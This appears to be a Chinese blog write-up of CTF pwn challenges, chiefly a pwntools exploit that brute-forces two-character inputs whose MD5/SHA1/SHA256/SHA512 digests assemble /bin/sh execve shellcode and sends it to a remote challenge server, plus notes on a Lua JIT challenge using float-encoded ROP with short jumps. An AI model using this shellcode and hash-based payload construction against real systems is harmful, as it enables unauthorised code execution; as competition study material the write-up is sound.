输入的内容分别被md5,sha1,sha256,sha512处理,每两个字节处理一次,取处理后的第一个字节拼接出shellcode执行。思路是哈希碰撞可见字符,拼接出来即可。
from pwn import *
import time
import hashlib
context.log_level = 'debug'
context.terminal = ['tmux' ,'sp' ,'-h' ]
table = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890~!@#$%^&*()_+-=;:\\' ",.<>/?`|'
char_table = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '~', '!', '@', '#', '$', '%', '^', '&', '*', '(', ')', '_', '+', '-', '=', ';', ':', " '", ' "', ',', '.', '<', '>', '/', '?', '`', '|']
# shellcode = ['50','48','31','d2','48','bb','2f','62','69','6e','2f','2f','73','68','53','54','5f','b0','3b','0f','05']
# shellcode = ['50', '50', '5E', '48', '31', 'D2', '48', 'BB', '2F', '62', '69', '6E', '2F', '2F', '73', '68', '53', '54', '5F', 'B0', '3B', '0F', '05']
shellcode = ['50','48','31','d2','48','31','f6','48','bb','2f','62','69','6e','2f','2f','73','68','53','54','5f','b0','3b','0f','05']
# RXWTYH39Yj3TYfi9WmWZj8TYfi9JBWAXjKTYfi9kCWAYjCTYfi93iWAZjUTYfi9JH0t800T810T850T880T8A0T8B0T8C0T8G0T8H0T8I0T8J0T8N0T8O0T8P0T8Q0T8R0T8SRAPZ0t8E0t8F0t8LZRARZ0t8MZjZTYfi9FD0t810T86RAPZ0t820t840t85ZHpzbinzshUPHAgHGFUUUUHGBUUUUHGHnUUUZP
def init_table():
char_list = []
for i in range(0,len(table)):
char_list.append(table[i])
print char_list
return char_list
# init_table()
def md5_hash_code(byte):
hash_code_list = []
result = " "
for i in range(0, len(char_table)):
a = char_table[i]
for j in range(0, len(char_table)):
b = char_table[j]
res = hashlib.md5((a+b).encode()).hexdigest().encode()
if res[0:2] == byte: # push rax
hash_code_list.append(a+b)
return hash_code_list
def sha1_hash_code(byte):
hash_code_list = []
for i in range(0,len(char_table)):
a = char_table[i]
for j in range(0,len(char_table)):
b = char_table[j]
res = hashlib.sha1((a+b).encode()).hexdigest().encode()
if res[0:2] == byte:
hash_code_list.append(a+b)
return hash_code_list
def sha256_hash_code(byte):
hash_code_list = []
for i in range(0,len(char_table)):
a = char_table[i]
for j in range(0,len(char_table)):
b = char_table[j]
res = hashlib.sha256((a+b).encode()).hexdigest().encode()
if res[0:2] == byte:
hash_code_list.append(a+b)
return hash_code_list
def sha512_hash_code(byte):
hash_code_list = []
for i in range(0,len(char_table)):
a = char_table[i]
for j in range(0,len(char_table)):
b = char_table[j]
res = hashlib.sha512((a+b).encode()).hexdigest().encode()
if res[0:2] == byte:
hash_code_list.append(a+b)
return hash_code_list
print len(shellcode)
def generation():
result = " "
result += md5_hash_code(shellcode[0])[0]
result += sha1_hash_code(shellcode[1])[0]
result += sha256_hash_code(shellcode[2])[0]
result += sha512_hash_code(shellcode[3])[0]
result += md5_hash_code(shellcode[4])[0]
result += sha1_hash_code(shellcode[5])[0]
result += sha256_hash_code(shellcode[6])[0]
result += sha512_hash_code(shellcode[7])[0]
result += md5_hash_code(shellcode[8])[0]
result += sha1_hash_code(shellcode[9])[0]
result += sha256_hash_code(shellcode[10])[0]
result += sha512_hash_code(shellcode[11])[0]
result += md5_hash_code(shellcode[12])[0]
result += sha1_hash_code(shellcode[13])[0]
result += sha256_hash_code(shellcode[14])[0]
result += sha512_hash_code(shellcode[15])[0]
result += md5_hash_code(shellcode[16])[0]
result += sha1_hash_code(shellcode[17])[0]
result += sha256_hash_code(shellcode[18])[0]
result += sha512_hash_code(shellcode[19])[0]
result += md5_hash_code(shellcode[20])[0]
result += sha1_hash_code(shellcode[21])[0]
result += sha256_hash_code(shellcode[22])[0]
result += sha512_hash_code(shellcode[23])[0]
return result
def exp():
# io = process(" ./pwn")
io = remote('hash-it-0-m7tt7b7whagjw.shellweplayaga.me','31337')
io.recvuntil('Ticket please:')
io.sendline(r'ticket{AweighWeatherdeck5640n22:Hh6YqvgvoHk_PVza-ImPd3f_mEkDjLd-JkzxVpPsFTlwjASB}')
time.sleep(0.2)
io.send(p32(0x30000000))
time.sleep(0.2)
# gdb.attach(io," b *$rebase(0x1213 )")
payload = generation()
io.send(payload.ljust(0x30,'A'))
io.interactive()
# ca_shellcode()
# second()
exp()
按照上面文章的说法,Lua的数组下标在存储的时候是使用双精度浮点数,在JIT过程中,我们输入的内容被转移到一个RX段中被执行。可以利用下标来构造一段ROP链,前提是将64位程序转为双精度浮点数:在线转换网站 。本题因为是网页端的,所以在比赛时无法获取shell进行交互,需要执行题目给出的程序 x marks the spot
自动打印出flag。Lua脚本代码需要小于433,所以构造的ROP链非常有限,jmp
指令在短跳转时只占用两字节,因此可以用短跳转实现。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 上周热点回顾(3.3-3.9)
· AI 智能体引爆开源社区「GitHub 热点速览」